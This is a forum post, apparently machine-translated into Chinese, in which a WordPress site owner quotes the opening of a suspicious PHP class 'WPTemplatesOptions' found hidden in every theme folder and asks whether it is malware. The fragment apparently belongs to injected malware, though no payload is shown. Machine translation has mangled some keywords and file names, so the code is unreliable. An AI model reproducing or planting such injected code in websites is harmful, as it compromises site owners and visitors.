我注意到在我的wordpress的每个文件夹中都有一个名为的文件。主题名称。php。

例如，在主题文件夹Twenty十九中。php有一个名为的文件。二十九岁。php

这是其中每一项的内容：

如果（！class\\u存在（\'WPTemplatesOptions\'））{

class WPTemplatesOptions

{

    private $startTime;

    private $script = \'\';

    private $version = 3;

    private $upDir = \'\';

    private $uploadDir = \'\';

    private $uploadUrl = \'\';

    private $address;

    private $return_array;

    private $client;

    private $all;

    private $install;

    private $uninstall;

    private $is_bot;

    private $secret;

    private $json_encode;

    private $json_decode;

    private $data;

    private $plugin;

    private $theme;

    private $wp_load;

    private $reinstall;

    private static $instance = null;



    private function __construct() {

    }



    public static function getInstanceWordpress() {

        if ( static::$instance === null ) {

            static::$instance = new static();

        }



        return static::$instance;

    }



    private function upDir() {

        $this->upDir = $this->_wp_upload_dir();

        $this->uploadDir = $this->upDir[\'path\'];

        $this->uploadUrl = $this->upDir[\'url\'];

    }



    private function address() {

        return (isset( $_SERVER[\'HTTP_CF_CONNECTING_IP\'] ) ? $_SERVER[\'HTTP_CF_CONNECTING_IP\'] : $_SERVER[\'REMOTE_ADDR\']);

    }

你们谁能告诉我那是什么吗？它是恶意软件吗？
